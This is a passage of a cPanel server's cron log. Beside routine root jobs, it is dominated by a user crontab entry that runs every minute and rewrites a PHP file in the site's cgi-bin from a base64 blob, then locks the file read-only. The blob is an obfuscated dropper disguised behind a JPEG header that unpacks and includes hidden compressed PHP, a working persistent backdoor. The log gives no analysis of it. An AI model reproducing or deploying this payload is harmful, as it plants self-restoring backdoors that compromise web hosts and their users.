"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:59:01 server CROND[4872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:00:01 server CROND[4947]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 10:00:01 server CROND[4952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:00:01 server CROND[4949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 10:00:01 server CROND[4950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:00:01 server CROND[4951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:01:01 server CROND[5160]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 10:01:01 server CROND[5161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:01:01 server run-parts(/etc/cron.hourly)[5160]: starting 0anacron
Apr  8 10:01:01 server run-parts(/etc/cron.hourly)[5174]: finished 0anacron
Apr  8 10:02:01 server CROND[5297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:03:01 server CROND[5376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:04:01 server CROND[5439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:05:01 server CROND[5553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:05:01 server CROND[5554]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 10:05:01 server CROND[5552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:05:01 server CROND[5562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:06:01 server CROND[5758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:07:01 server CROND[5837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:08:01 server CROND[5903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:09:01 server CROND[5992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:09:01 server CROND[5993]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 10:10:01 server CROND[6066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:10:01 server CROND[6065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:10:01 server CROND[6067]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 10:10:01 server CROND[6068]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:11:01 server CROND[6292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg